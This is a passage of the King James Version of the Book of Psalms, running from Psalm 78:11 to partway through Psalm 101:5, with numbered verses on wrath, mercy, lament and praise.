+ +78:11 And forgat his works, and his wonders that he had shewed them. + +78:12 Marvellous things did he in the sight of their fathers, in the +land of Egypt, in the field of Zoan. + +78:13 He divided the sea, and caused them to pass through; and he made +the waters to stand as an heap. + +78:14 In the daytime also he led them with a cloud, and all the night +with a light of fire. + +78:15 He clave the rocks in the wilderness, and gave them drink as out +of the great depths. + +78:16 He brought streams also out of the rock, and caused waters to +run down like rivers. + +78:17 And they sinned yet more against him by provoking the most High +in the wilderness. + +78:18 And they tempted God in their heart by asking meat for their +lust. + +78:19 Yea, they spake against God; they said, Can God furnish a table +in the wilderness? + +78:20 Behold, he smote the rock, that the waters gushed out, and the +streams overflowed; can he give bread also? can he provide flesh for +his people? + +78:21 Therefore the LORD heard this, and was wroth: so a fire was +kindled against Jacob, and anger also came up against Israel; + +78:22 Because they believed not in God, and trusted not in his +salvation: + +78:23 Though he had commanded the clouds from above, and opened the +doors of heaven, + +78:24 And had rained down manna upon them to eat, and had given them +of the corn of heaven. + +78:25 Man did eat angels' food: he sent them meat to the full. + +78:26 He caused an east wind to blow in the heaven: and by his power +he brought in the south wind. + +78:27 He rained flesh also upon them as dust, and feathered fowls like +as the sand of the sea: + +78:28 And he let it fall in the midst of their camp, round about their +habitations. + +78:29 So they did eat, and were well filled: for he gave them their +own desire; + +78:30 They were not estranged from their lust. But while their meat +was yet in their mouths, + +78:31 The wrath of God came upon them, and slew the fattest of them, +and smote down the chosen men of Israel. + +78:32 For all this they sinned still, and believed not for his +wondrous works. + +78:33 Therefore their days did he consume in vanity, and their years +in trouble. + +78:34 When he slew them, then they sought him: and they returned and +enquired early after God. + +78:35 And they remembered that God was their rock, and the high God +their redeemer. + +78:36 Nevertheless they did flatter him with their mouth, and they +lied unto him with their tongues. + +78:37 For their heart was not right with him, neither were they +stedfast in his covenant. + +78:38 But he, being full of compassion, forgave their iniquity, and +destroyed them not: yea, many a time turned he his anger away, and did +not stir up all his wrath. + +78:39 For he remembered that they were but flesh; a wind that passeth +away, and cometh not again. + +78:40 How oft did they provoke him in the wilderness, and grieve him +in the desert! + +78:41 Yea, they turned back and tempted God, and limited the Holy One +of Israel. + +78:42 They remembered not his hand, nor the day when he delivered them +from the enemy. + +78:43 How he had wrought his signs in Egypt, and his wonders in the +field of Zoan. + +78:44 And had turned their rivers into blood; and their floods, that +they could not drink. + +78:45 He sent divers sorts of flies among them, which devoured them; +and frogs, which destroyed them. + +78:46 He gave also their increase unto the caterpiller, and their +labour unto the locust. + +78:47 He destroyed their vines with hail, and their sycomore trees +with frost. + +78:48 He gave up their cattle also to the hail, and their flocks to +hot thunderbolts. + +78:49 He cast upon them the fierceness of his anger, wrath, and +indignation, and trouble, by sending evil angels among them. + +78:50 He made a way to his anger; he spared not their soul from death, +but gave their life over to the pestilence; + +78:51 And smote all the firstborn in Egypt; the chief of their +strength in the tabernacles of Ham: + +78:52 But made his own people to go forth like sheep, and guided them +in the wilderness like a flock. + +78:53 And he led them on safely, so that they feared not: but the sea +overwhelmed their enemies. + +78:54 And he brought them to the border of his sanctuary, even to this +mountain, which his right hand had purchased. + +78:55 He cast out the heathen also before them, and divided them an +inheritance by line, and made the tribes of Israel to dwell in their +tents. + +78:56 Yet they tempted and provoked the most high God, and kept not +his testimonies: + +78:57 But turned back, and dealt unfaithfully like their fathers: they +were turned aside like a deceitful bow. + +78:58 For they provoked him to anger with their high places, and moved +him to jealousy with their graven images. + +78:59 When God heard this, he was wroth, and greatly abhorred Israel: + +78:60 So that he forsook the tabernacle of Shiloh, the tent which he +placed among men; + +78:61 And delivered his strength into captivity, and his glory into +the enemy's hand. + +78:62 He gave his people over also unto the sword; and was wroth with +his inheritance. + +78:63 The fire consumed their young men; and their maidens were not +given to marriage. + +78:64 Their priests fell by the sword; and their widows made no +lamentation. + +78:65 Then the LORD awaked as one out of sleep, and like a mighty man +that shouteth by reason of wine. + +78:66 And he smote his enemies in the hinder parts: he put them to a +perpetual reproach. + +78:67 Moreover he refused the tabernacle of Joseph, and chose not the +tribe of Ephraim: + +78:68 But chose the tribe of Judah, the mount Zion which he loved. + +78:69 And he built his sanctuary like high palaces, like the earth +which he hath established for ever. + +78:70 He chose David also his servant, and took him from the +sheepfolds: + +78:71 From following the ewes great with young he brought him to feed +Jacob his people, and Israel his inheritance. + +78:72 So he fed them according to the integrity of his heart; and +guided them by the skilfulness of his hands. + + + +79:1 O God, the heathen are come into thine inheritance; thy holy +temple have they defiled; they have laid Jerusalem on heaps. + +79:2 The dead bodies of thy servants have they given to be meat unto +the fowls of the heaven, the flesh of thy saints unto the beasts of +the earth. + +79:3 Their blood have they shed like water round about Jerusalem; and +there was none to bury them. + +79:4 We are become a reproach to our neighbours, a scorn and derision +to them that are round about us. + +79:5 How long, LORD? wilt thou be angry for ever? shall thy jealousy +burn like fire? + +79:6 Pour out thy wrath upon the heathen that have not known thee, and +upon the kingdoms that have not called upon thy name. + +79:7 For they have devoured Jacob, and laid waste his dwelling place. + +79:8 O remember not against us former iniquities: let thy tender +mercies speedily prevent us: for we are brought very low. + +79:9 Help us, O God of our salvation, for the glory of thy name: and +deliver us, and purge away our sins, for thy name's sake. + +79:10 Wherefore should the heathen say, Where is their God? let him be +known among the heathen in our sight by the revenging of the blood of +thy servants which is shed. + +79:11 Let the sighing of the prisoner come before thee; according to +the greatness of thy power preserve thou those that are appointed to +die; + +79:12 And render unto our neighbours sevenfold into their bosom their +reproach, wherewith they have reproached thee, O Lord. + +79:13 So we thy people and sheep of thy pasture will give thee thanks +for ever: we will shew forth thy praise to all generations. + + + +80:1 Give ear, O Shepherd of Israel, thou that leadest Joseph like a +flock; thou that dwellest between the cherubims, shine forth. + +80:2 Before Ephraim and Benjamin and Manasseh stir up thy strength, +and come and save us. + +80:3 Turn us again, O God, and cause thy face to shine; and we shall +be saved. + +80:4 O LORD God of hosts, how long wilt thou be angry against the +prayer of thy people? + +80:5 Thou feedest them with the bread of tears; and givest them tears +to drink in great measure. + +80:6 Thou makest us a strife unto our neighbours: and our enemies +laugh among themselves. + +80:7 Turn us again, O God of hosts, and cause thy face to shine; and +we shall be saved. + +80:8 Thou hast brought a vine out of Egypt: thou hast cast out the +heathen, and planted it. + +80:9 Thou preparedst room before it, and didst cause it to take deep +root, and it filled the land. + +80:10 The hills were covered with the shadow of it, and the boughs +thereof were like the goodly cedars. + +80:11 She sent out her boughs unto the sea, and her branches unto the +river. + +80:12 Why hast thou then broken down her hedges, so that all they +which pass by the way do pluck her? + +80:13 The boar out of the wood doth waste it, and the wild beast of +the field doth devour it. + +80:14 Return, we beseech thee, O God of hosts: look down from heaven, +and behold, and visit this vine; + +80:15 And the vineyard which thy right hand hath planted, and the +branch that thou madest strong for thyself. + +80:16 It is burned with fire, it is cut down: they perish at the +rebuke of thy countenance. + +80:17 Let thy hand be upon the man of thy right hand, upon the son of +man whom thou madest strong for thyself. + +80:18 So will not we go back from thee: quicken us, and we will call +upon thy name. + +80:19 Turn us again, O LORD God of hosts, cause thy face to shine; and +we shall be saved. + + + +81:1 Sing aloud unto God our strength: make a joyful noise unto the +God of Jacob. + +81:2 Take a psalm, and bring hither the timbrel, the pleasant harp +with the psaltery. + +81:3 Blow up the trumpet in the new moon, in the time appointed, on +our solemn feast day. + +81:4 For this was a statute for Israel, and a law of the God of Jacob. + +81:5 This he ordained in Joseph for a testimony, when he went out +through the land of Egypt: where I heard a language that I understood +not. + +81:6 I removed his shoulder from the burden: his hands were delivered +from the pots. + +81:7 Thou calledst in trouble, and I delivered thee; I answered thee +in the secret place of thunder: I proved thee at the waters of +Meribah. + +Selah. + +81:8 Hear, O my people, and I will testify unto thee: O Israel, if +thou wilt hearken unto me; + +81:9 There shall no strange god be in thee; neither shalt thou worship +any strange god. + +81:10 I am the LORD thy God, which brought thee out of the land of +Egypt: open thy mouth wide, and I will fill it. + +81:11 But my people would not hearken to my voice; and Israel would +none of me. + +81:12 So I gave them up unto their own hearts' lust: and they walked +in their own counsels. + +81:13 Oh that my people had hearkened unto me, and Israel had walked +in my ways! + +81:14 I should soon have subdued their enemies, and turned my hand +against their adversaries. + +81:15 The haters of the LORD should have submitted themselves unto +him: but their time should have endured for ever. + +81:16 He should have fed them also with the finest of the wheat: and +with honey out of the rock should I have satisfied thee. + + + +82:1 God standeth in the congregation of the mighty; he judgeth among +the gods. + +82:2 How long will ye judge unjustly, and accept the persons of the +wicked? Selah. + +82:3 Defend the poor and fatherless: do justice to the afflicted and +needy. + +82:4 Deliver the poor and needy: rid them out of the hand of the +wicked. + +82:5 They know not, neither will they understand; they walk on in +darkness: all the foundations of the earth are out of course. + +82:6 I have said, Ye are gods; and all of you are children of the most +High. + +82:7 But ye shall die like men, and fall like one of the princes. + +82:8 Arise, O God, judge the earth: for thou shalt inherit all +nations. + + + +83:1 Keep not thou silence, O God: hold not thy peace, and be not +still, O God. + +83:2 For, lo, thine enemies make a tumult: and they that hate thee +have lifted up the head. + +83:3 They have taken crafty counsel against thy people, and consulted +against thy hidden ones. + +83:4 They have said, Come, and let us cut them off from being a +nation; that the name of Israel may be no more in remembrance. + +83:5 For they have consulted together with one consent: they are +confederate against thee: + +83:6 The tabernacles of Edom, and the Ishmaelites; of Moab, and the +Hagarenes; + +83:7 Gebal, and Ammon, and Amalek; the Philistines with the +inhabitants of Tyre; + +83:8 Assur also is joined with them: they have holpen the children of +Lot. + +Selah. + +83:9 Do unto them as unto the Midianites; as to Sisera, as to Jabin, +at the brook of Kison: + +83:10 Which perished at Endor: they became as dung for the earth. + +83:11 Make their nobles like Oreb, and like Zeeb: yea, all their +princes as Zebah, and as Zalmunna: + +83:12 Who said, Let us take to ourselves the houses of God in +possession. + +83:13 O my God, make them like a wheel; as the stubble before the +wind. + +83:14 As the fire burneth a wood, and as the flame setteth the +mountains on fire; + +83:15 So persecute them with thy tempest, and make them afraid with +thy storm. + +83:16 Fill their faces with shame; that they may seek thy name, O +LORD. + +83:17 Let them be confounded and troubled for ever; yea, let them be +put to shame, and perish: + +83:18 That men may know that thou, whose name alone is JEHOVAH, art +the most high over all the earth. + + + +84:1 How amiable are thy tabernacles, O LORD of hosts! + +84:2 My soul longeth, yea, even fainteth for the courts of the LORD: +my heart and my flesh crieth out for the living God. + +84:3 Yea, the sparrow hath found an house, and the swallow a nest for +herself, where she may lay her young, even thine altars, O LORD of +hosts, my King, and my God. + +84:4 Blessed are they that dwell in thy house: they will be still +praising thee. Selah. + +84:5 Blessed is the man whose strength is in thee; in whose heart are +the ways of them. + +84:6 Who passing through the valley of Baca make it a well; the rain +also filleth the pools. + +84:7 They go from strength to strength, every one of them in Zion +appeareth before God. + +84:8 O LORD God of hosts, hear my prayer: give ear, O God of Jacob. +Selah. + +84:9 Behold, O God our shield, and look upon the face of thine +anointed. + +84:10 For a day in thy courts is better than a thousand. I had rather +be a doorkeeper in the house of my God, than to dwell in the tents of +wickedness. + +84:11 For the LORD God is a sun and shield: the LORD will give grace +and glory: no good thing will he withhold from them that walk +uprightly. + +84:12 O LORD of hosts, blessed is the man that trusteth in thee. + + + +85:1 Lord, thou hast been favourable unto thy land: thou hast brought +back the captivity of Jacob. + +85:2 Thou hast forgiven the iniquity of thy people, thou hast covered +all their sin. Selah. + +85:3 Thou hast taken away all thy wrath: thou hast turned thyself from +the fierceness of thine anger. + +85:4 Turn us, O God of our salvation, and cause thine anger toward us +to cease. + +85:5 Wilt thou be angry with us for ever? wilt thou draw out thine +anger to all generations? + +85:6 Wilt thou not revive us again: that thy people may rejoice in +thee? + +85:7 Shew us thy mercy, O LORD, and grant us thy salvation. + +85:8 I will hear what God the LORD will speak: for he will speak peace +unto his people, and to his saints: but let them not turn again to +folly. + +85:9 Surely his salvation is nigh them that fear him; that glory may +dwell in our land. + +85:10 Mercy and truth are met together; righteousness and peace have +kissed each other. + +85:11 Truth shall spring out of the earth; and righteousness shall +look down from heaven. + +85:12 Yea, the LORD shall give that which is good; and our land shall +yield her increase. + +85:13 Righteousness shall go before him; and shall set us in the way +of his steps. + + + +86:1 Bow down thine ear, O LORD, hear me: for I am poor and needy. + +86:2 Preserve my soul; for I am holy: O thou my God, save thy servant +that trusteth in thee. + +86:3 Be merciful unto me, O Lord: for I cry unto thee daily. + +86:4 Rejoice the soul of thy servant: for unto thee, O Lord, do I lift +up my soul. + +86:5 For thou, Lord, art good, and ready to forgive; and plenteous in +mercy unto all them that call upon thee. + +86:6 Give ear, O LORD, unto my prayer; and attend to the voice of my +supplications. + +86:7 In the day of my trouble I will call upon thee: for thou wilt +answer me. + +86:8 Among the gods there is none like unto thee, O Lord; neither are +there any works like unto thy works. + +86:9 All nations whom thou hast made shall come and worship before +thee, O Lord; and shall glorify thy name. + +86:10 For thou art great, and doest wondrous things: thou art God +alone. + +86:11 Teach me thy way, O LORD; I will walk in thy truth: unite my +heart to fear thy name. + +86:12 I will praise thee, O Lord my God, with all my heart: and I will +glorify thy name for evermore. + +86:13 For great is thy mercy toward me: and thou hast delivered my +soul from the lowest hell. + +86:14 O God, the proud are risen against me, and the assemblies of +violent men have sought after my soul; and have not set thee before +them. + +86:15 But thou, O Lord, art a God full of compassion, and gracious, +long suffering, and plenteous in mercy and truth. + +86:16 O turn unto me, and have mercy upon me; give thy strength unto +thy servant, and save the son of thine handmaid. + +86:17 Shew me a token for good; that they which hate me may see it, +and be ashamed: because thou, LORD, hast holpen me, and comforted me. + + + +87:1 His foundation is in the holy mountains. + +87:2 The LORD loveth the gates of Zion more than all the dwellings of +Jacob. + +87:3 Glorious things are spoken of thee, O city of God. Selah. + +87:4 I will make mention of Rahab and Babylon to them that know me: +behold Philistia, and Tyre, with Ethiopia; this man was born there. + +87:5 And of Zion it shall be said, This and that man was born in her: +and the highest himself shall establish her. + +87:6 The LORD shall count, when he writeth up the people, that this +man was born there. Selah. + +87:7 As well the singers as the players on instruments shall be there: +all my springs are in thee. + + + +88:1 O lord God of my salvation, I have cried day and night before +thee: + +88:2 Let my prayer come before thee: incline thine ear unto my cry; + +88:3 For my soul is full of troubles: and my life draweth nigh unto +the grave. + +88:4 I am counted with them that go down into the pit: I am as a man +that hath no strength: + +88:5 Free among the dead, like the slain that lie in the grave, whom +thou rememberest no more: and they are cut off from thy hand. + +88:6 Thou hast laid me in the lowest pit, in darkness, in the deeps. + +88:7 Thy wrath lieth hard upon me, and thou hast afflicted me with all +thy waves. Selah. + +88:8 Thou hast put away mine acquaintance far from me; thou hast made +me an abomination unto them: I am shut up, and I cannot come forth. + +88:9 Mine eye mourneth by reason of affliction: LORD, I have called +daily upon thee, I have stretched out my hands unto thee. + +88:10 Wilt thou shew wonders to the dead? shall the dead arise and +praise thee? Selah. + +88:11 Shall thy lovingkindness be declared in the grave? or thy +faithfulness in destruction? + +88:12 Shall thy wonders be known in the dark? and thy righteousness in +the land of forgetfulness? + +88:13 But unto thee have I cried, O LORD; and in the morning shall my +prayer prevent thee. + +88:14 LORD, why castest thou off my soul? why hidest thou thy face +from me? + +88:15 I am afflicted and ready to die from my youth up: while I suffer +thy terrors I am distracted. + +88:16 Thy fierce wrath goeth over me; thy terrors have cut me off. + +88:17 They came round about me daily like water; they compassed me +about together. + +88:18 Lover and friend hast thou put far from me, and mine +acquaintance into darkness. + + + +89:1 I will sing of the mercies of the LORD for ever: with my mouth +will I make known thy faithfulness to all generations. + +89:2 For I have said, Mercy shall be built up for ever: thy +faithfulness shalt thou establish in the very heavens. + +89:3 I have made a covenant with my chosen, I have sworn unto David my +servant, + +89:4 Thy seed will I establish for ever, and build up thy throne to +all generations. Selah. + +89:5 And the heavens shall praise thy wonders, O LORD: thy +faithfulness also in the congregation of the saints. + +89:6 For who in the heaven can be compared unto the LORD? who among +the sons of the mighty can be likened unto the LORD? + +89:7 God is greatly to be feared in the assembly of the saints, and to +be had in reverence of all them that are about him. + +89:8 O LORD God of hosts, who is a strong LORD like unto thee? or to +thy faithfulness round about thee? + +89:9 Thou rulest the raging of the sea: when the waves thereof arise, +thou stillest them. + +89:10 Thou hast broken Rahab in pieces, as one that is slain; thou +hast scattered thine enemies with thy strong arm. + +89:11 The heavens are thine, the earth also is thine: as for the world +and the fulness thereof, thou hast founded them. + +89:12 The north and the south thou hast created them: Tabor and Hermon +shall rejoice in thy name. + +89:13 Thou hast a mighty arm: strong is thy hand, and high is thy +right hand. + +89:14 Justice and judgment are the habitation of thy throne: mercy and +truth shall go before thy face. + +89:15 Blessed is the people that know the joyful sound: they shall +walk, O LORD, in the light of thy countenance. + +89:16 In thy name shall they rejoice all the day: and in thy +righteousness shall they be exalted. + +89:17 For thou art the glory of their strength: and in thy favour our +horn shall be exalted. + +89:18 For the LORD is our defence; and the Holy One of Israel is our +king. + +89:19 Then thou spakest in vision to thy holy one, and saidst, I have +laid help upon one that is mighty; I have exalted one chosen out of +the people. + +89:20 I have found David my servant; with my holy oil have I anointed +him: + +89:21 With whom my hand shall be established: mine arm also shall +strengthen him. + +89:22 The enemy shall not exact upon him; nor the son of wickedness +afflict him. + +89:23 And I will beat down his foes before his face, and plague them +that hate him. + +89:24 But my faithfulness and my mercy shall be with him: and in my +name shall his horn be exalted. + +89:25 I will set his hand also in the sea, and his right hand in the +rivers. + +89:26 He shall cry unto me, Thou art my father, my God, and the rock +of my salvation. + +89:27 Also I will make him my firstborn, higher than the kings of the +earth. + +89:28 My mercy will I keep for him for evermore, and my covenant shall +stand fast with him. + +89:29 His seed also will I make to endure for ever, and his throne as +the days of heaven. + +89:30 If his children forsake my law, and walk not in my judgments; + +89:31 If they break my statutes, and keep not my commandments; + +89:32 Then will I visit their transgression with the rod, and their +iniquity with stripes. + +89:33 Nevertheless my lovingkindness will I not utterly take from him, +nor suffer my faithfulness to fail. + +89:34 My covenant will I not break, nor alter the thing that is gone +out of my lips. + +89:35 Once have I sworn by my holiness that I will not lie unto David. + +89:36 His seed shall endure for ever, and his throne as the sun before +me. + +89:37 It shall be established for ever as the moon, and as a faithful +witness in heaven. Selah. + +89:38 But thou hast cast off and abhorred, thou hast been wroth with +thine anointed. + +89:39 Thou hast made void the covenant of thy servant: thou hast +profaned his crown by casting it to the ground. + +89:40 Thou hast broken down all his hedges; thou hast brought his +strong holds to ruin. + +89:41 All that pass by the way spoil him: he is a reproach to his +neighbours. + +89:42 Thou hast set up the right hand of his adversaries; thou hast +made all his enemies to rejoice. + +89:43 Thou hast also turned the edge of his sword, and hast not made +him to stand in the battle. + +89:44 Thou hast made his glory to cease, and cast his throne down to +the ground. + +89:45 The days of his youth hast thou shortened: thou hast covered him +with shame. Selah. + +89:46 How long, LORD? wilt thou hide thyself for ever? shall thy wrath +burn like fire? + +89:47 Remember how short my time is: wherefore hast thou made all men +in vain? + +89:48 What man is he that liveth, and shall not see death? shall he +deliver his soul from the hand of the grave? Selah. + +89:49 Lord, where are thy former lovingkindnesses, which thou swarest +unto David in thy truth? + +89:50 Remember, Lord, the reproach of thy servants; how I do bear in +my bosom the reproach of all the mighty people; + +89:51 Wherewith thine enemies have reproached, O LORD; wherewith they +have reproached the footsteps of thine anointed. + +89:52 Blessed be the LORD for evermore. Amen, and Amen. + + + +90:1 Lord, thou hast been our dwelling place in all generations. + +90:2 Before the mountains were brought forth, or ever thou hadst +formed the earth and the world, even from everlasting to everlasting, +thou art God. + +90:3 Thou turnest man to destruction; and sayest, Return, ye children +of men. + +90:4 For a thousand years in thy sight are but as yesterday when it is +past, and as a watch in the night. + +90:5 Thou carriest them away as with a flood; they are as a sleep: in +the morning they are like grass which groweth up. + +90:6 In the morning it flourisheth, and groweth up; in the evening it +is cut down, and withereth. + +90:7 For we are consumed by thine anger, and by thy wrath are we +troubled. + +90:8 Thou hast set our iniquities before thee, our secret sins in the +light of thy countenance. + +90:9 For all our days are passed away in thy wrath: we spend our years +as a tale that is told. + +90:10 The days of our years are threescore years and ten; and if by +reason of strength they be fourscore years, yet is their strength +labour and sorrow; for it is soon cut off, and we fly away. + +90:11 Who knoweth the power of thine anger? even according to thy +fear, so is thy wrath. + +90:12 So teach us to number our days, that we may apply our hearts +unto wisdom. + +90:13 Return, O LORD, how long? and let it repent thee concerning thy +servants. + +90:14 O satisfy us early with thy mercy; that we may rejoice and be +glad all our days. + +90:15 Make us glad according to the days wherein thou hast afflicted +us, and the years wherein we have seen evil. + +90:16 Let thy work appear unto thy servants, and thy glory unto their +children. + +90:17 And let the beauty of the LORD our God be upon us: and establish +thou the work of our hands upon us; yea, the work of our hands +establish thou it. + + + +91:1 He that dwelleth in the secret place of the most High shall abide +under the shadow of the Almighty. + +91:2 I will say of the LORD, He is my refuge and my fortress: my God; +in him will I trust. + +91:3 Surely he shall deliver thee from the snare of the fowler, and +from the noisome pestilence. + +91:4 He shall cover thee with his feathers, and under his wings shalt +thou trust: his truth shall be thy shield and buckler. + +91:5 Thou shalt not be afraid for the terror by night; nor for the +arrow that flieth by day; + +91:6 Nor for the pestilence that walketh in darkness; nor for the +destruction that wasteth at noonday. + +91:7 A thousand shall fall at thy side, and ten thousand at thy right +hand; but it shall not come nigh thee. + +91:8 Only with thine eyes shalt thou behold and see the reward of the +wicked. + +91:9 Because thou hast made the LORD, which is my refuge, even the +most High, thy habitation; + +91:10 There shall no evil befall thee, neither shall any plague come +nigh thy dwelling. + +91:11 For he shall give his angels charge over thee, to keep thee in +all thy ways. + +91:12 They shall bear thee up in their hands, lest thou dash thy foot +against a stone. + +91:13 Thou shalt tread upon the lion and adder: the young lion and the +dragon shalt thou trample under feet. + +91:14 Because he hath set his love upon me, therefore will I deliver +him: I will set him on high, because he hath known my name. + +91:15 He shall call upon me, and I will answer him: I will be with him +in trouble; I will deliver him, and honour him. + +91:16 With long life will I satisfy him, and shew him my salvation. + + + +92:1 IT IS A GOOD THING TO GIVE THANKS UNTO THE LORD, AND TO SING +PRAISES UNTO THY NAME, O MOST HIGH: + +92:2 To shew forth thy lovingkindness in the morning, and thy +faithfulness every night, + +92:3 Upon an instrument of ten strings, and upon the psaltery; upon +the harp with a solemn sound. + +92:4 For thou, LORD, hast made me glad through thy work: I will +triumph in the works of thy hands. + +92:5 O LORD, how great are thy works! and thy thoughts are very deep. + +92:6 A brutish man knoweth not; neither doth a fool understand this. + +92:7 When the wicked spring as the grass, and when all the workers of +iniquity do flourish; it is that they shall be destroyed for ever: + +92:8 But thou, LORD, art most high for evermore. + +92:9 For, lo, thine enemies, O LORD, for, lo, thine enemies shall +perish; all the workers of iniquity shall be scattered. + +92:10 But my horn shalt thou exalt like the horn of an unicorn: I +shall be anointed with fresh oil. + +92:11 Mine eye also shall see my desire on mine enemies, and mine ears +shall hear my desire of the wicked that rise up against me. + +92:12 The righteous shall flourish like the palm tree: he shall grow +like a cedar in Lebanon. + +92:13 Those that be planted in the house of the LORD shall flourish in +the courts of our God. + +92:14 They shall still bring forth fruit in old age; they shall be fat +and flourishing; + +92:15 To shew that the LORD is upright: he is my rock, and there is no +unrighteousness in him. + + + +93:1 The LORD reigneth, he is clothed with majesty; the LORD is +clothed with strength, wherewith he hath girded himself: the world +also is stablished, that it cannot be moved. + +93:2 Thy throne is established of old: thou art from everlasting. + +93:3 The floods have lifted up, O LORD, the floods have lifted up +their voice; the floods lift up their waves. + +93:4 The LORD on high is mightier than the noise of many waters, yea, +than the mighty waves of the sea. + +93:5 Thy testimonies are very sure: holiness becometh thine house, O +LORD, for ever. + + + +94:1 O Lord God, to whom vengeance belongeth; O God, to whom vengeance +belongeth, shew thyself. + +94:2 Lift up thyself, thou judge of the earth: render a reward to the +proud. + +94:3 LORD, how long shall the wicked, how long shall the wicked +triumph? + +94:4 How long shall they utter and speak hard things? and all the +workers of iniquity boast themselves? + +94:5 They break in pieces thy people, O LORD, and afflict thine +heritage. + +94:6 They slay the widow and the stranger, and murder the fatherless. + +94:7 Yet they say, The LORD shall not see, neither shall the God of +Jacob regard it. + +94:8 Understand, ye brutish among the people: and ye fools, when will +ye be wise? + +94:9 He that planted the ear, shall he not hear? he that formed the +eye, shall he not see? + +94:10 He that chastiseth the heathen, shall not he correct? he that +teacheth man knowledge, shall not he know? + +94:11 The LORD knoweth the thoughts of man, that they are vanity. + +94:12 Blessed is the man whom thou chastenest, O LORD, and teachest +him out of thy law; + +94:13 That thou mayest give him rest from the days of adversity, until +the pit be digged for the wicked. + +94:14 For the LORD will not cast off his people, neither will he +forsake his inheritance. + +94:15 But judgment shall return unto righteousness: and all the +upright in heart shall follow it. + +94:16 Who will rise up for me against the evildoers? or who will stand +up for me against the workers of iniquity? + +94:17 Unless the LORD had been my help, my soul had almost dwelt in +silence. + +94:18 When I said, My foot slippeth; thy mercy, O LORD, held me up. + +94:19 In the multitude of my thoughts within me thy comforts delight +my soul. + +94:20 Shall the throne of iniquity have fellowship with thee, which +frameth mischief by a law? + +94:21 They gather themselves together against the soul of the +righteous, and condemn the innocent blood. + +94:22 But the LORD is my defence; and my God is the rock of my refuge. + +94:23 And he shall bring upon them their own iniquity, and shall cut +them off in their own wickedness; yea, the LORD our God shall cut them +off. + + + +95:1 O come, let us sing unto the LORD: let us make a joyful noise to +the rock of our salvation. + +95:2 Let us come before his presence with thanksgiving, and make a +joyful noise unto him with psalms. + +95:3 For the LORD is a great God, and a great King above all gods. + +95:4 In his hand are the deep places of the earth: the strength of the +hills is his also. + +95:5 The sea is his, and he made it: and his hands formed the dry +land. + +95:6 O come, let us worship and bow down: let us kneel before the LORD +our maker. + +95:7 For he is our God; and we are the people of his pasture, and the +sheep of his hand. To day if ye will hear his voice, + +95:8 Harden not your heart, as in the provocation, and as in the day +of temptation in the wilderness: + +95:9 When your fathers tempted me, proved me, and saw my work. + +95:10 Forty years long was I grieved with this generation, and said, +It is a people that do err in their heart, and they have not known my +ways: + +95:11 Unto whom I sware in my wrath that they should not enter into my +rest. + + + +96:1 O sing unto the LORD a new song: sing unto the LORD, all the +earth. + +96:2 Sing unto the LORD, bless his name; shew forth his salvation from +day to day. + +96:3 Declare his glory among the heathen, his wonders among all +people. + +96:4 For the LORD is great, and greatly to be praised: he is to be +feared above all gods. + +96:5 For all the gods of the nations are idols: but the LORD made the +heavens. + +96:6 Honour and majesty are before him: strength and beauty are in his +sanctuary. + +96:7 Give unto the LORD, O ye kindreds of the people, give unto the +LORD glory and strength. + +96:8 Give unto the LORD the glory due unto his name: bring an +offering, and come into his courts. + +96:9 O worship the LORD in the beauty of holiness: fear before him, +all the earth. + +96:10 Say among the heathen that the LORD reigneth: the world also +shall be established that it shall not be moved: he shall judge the +people righteously. + +96:11 Let the heavens rejoice, and let the earth be glad; let the sea +roar, and the fulness thereof. + +96:12 Let the field be joyful, and all that is therein: then shall all +the trees of the wood rejoice + +96:13 Before the LORD: for he cometh, for he cometh to judge the +earth: he shall judge the world with righteousness, and the people +with his truth. + + + +97:1 The LORD reigneth; let the earth rejoice; let the multitude of +isles be glad thereof. + +97:2 Clouds and darkness are round about him: righteousness and +judgment are the habitation of his throne. + +97:3 A fire goeth before him, and burneth up his enemies round about. + +97:4 His lightnings enlightened the world: the earth saw, and +trembled. + +97:5 The hills melted like wax at the presence of the LORD, at the +presence of the Lord of the whole earth. + +97:6 The heavens declare his righteousness, and all the people see his +glory. + +97:7 Confounded be all they that serve graven images, that boast +themselves of idols: worship him, all ye gods. + +97:8 Zion heard, and was glad; and the daughters of Judah rejoiced +because of thy judgments, O LORD. + +97:9 For thou, LORD, art high above all the earth: thou art exalted +far above all gods. + +97:10 Ye that love the LORD, hate evil: he preserveth the souls of his +saints; he delivereth them out of the hand of the wicked. + +97:11 Light is sown for the righteous, and gladness for the upright in +heart. + +97:12 Rejoice in the LORD, ye righteous; and give thanks at the +remembrance of his holiness. + + + +98:1 O sing unto the LORD a new song; for he hath done marvellous +things: his right hand, and his holy arm, hath gotten him the victory. + +98:2 The LORD hath made known his salvation: his righteousness hath he +openly shewed in the sight of the heathen. + +98:3 He hath remembered his mercy and his truth toward the house of +Israel: all the ends of the earth have seen the salvation of our God. + +98:4 Make a joyful noise unto the LORD, all the earth: make a loud +noise, and rejoice, and sing praise. + +98:5 Sing unto the LORD with the harp; with the harp, and the voice of +a psalm. + +98:6 With trumpets and sound of cornet make a joyful noise before the +LORD, the King. + +98:7 Let the sea roar, and the fulness thereof; the world, and they +that dwell therein. + +98:8 Let the floods clap their hands: let the hills be joyful together + +98:9 Before the LORD; for he cometh to judge the earth: with +righteousness shall he judge the world, and the people with equity. + + + +99:1 The LORD reigneth; let the people tremble: he sitteth between the +cherubims; let the earth be moved. + +99:2 The LORD is great in Zion; and he is high above all the people. + +99:3 Let them praise thy great and terrible name; for it is holy. + +99:4 The king's strength also loveth judgment; thou dost establish +equity, thou executest judgment and righteousness in Jacob. + +99:5 Exalt ye the LORD our God, and worship at his footstool; for he +is holy. + +99:6 Moses and Aaron among his priests, and Samuel among them that +call upon his name; they called upon the LORD, and he answered them. + +99:7 He spake unto them in the cloudy pillar: they kept his +testimonies, and the ordinance that he gave them. + +99:8 Thou answeredst them, O LORD our God: thou wast a God that +forgavest them, though thou tookest vengeance of their inventions. + +99:9 Exalt the LORD our God, and worship at his holy hill; for the +LORD our God is holy. + + + +100:1 Make a joyful noise unto the LORD, all ye lands. + +100:2 Serve the LORD with gladness: come before his presence with +singing. + +100:3 Know ye that the LORD he is God: it is he that hath made us, and +not we ourselves; we are his people, and the sheep of his pasture. + +100:4 Enter into his gates with thanksgiving, and into his courts with +praise: be thankful unto him, and bless his name. + +100:5 For the LORD is good; his mercy is everlasting; and his truth +endureth to all generations. + + + +101:1 I will sing of mercy and judgment: unto thee, O LORD, will I +sing. + +101:2 I will behave myself wisely in a perfect way. O when wilt thou +come unto me? I will walk within my house with a perfect heart. + +101:3 I will set no wicked thing before mine eyes: I hate the work of +them that turn aside; it shall not cleave to me. + +101:4 A froward heart shall depart from me: I will not know a wicked +person. + +101:5 Whoso privily slandereth his 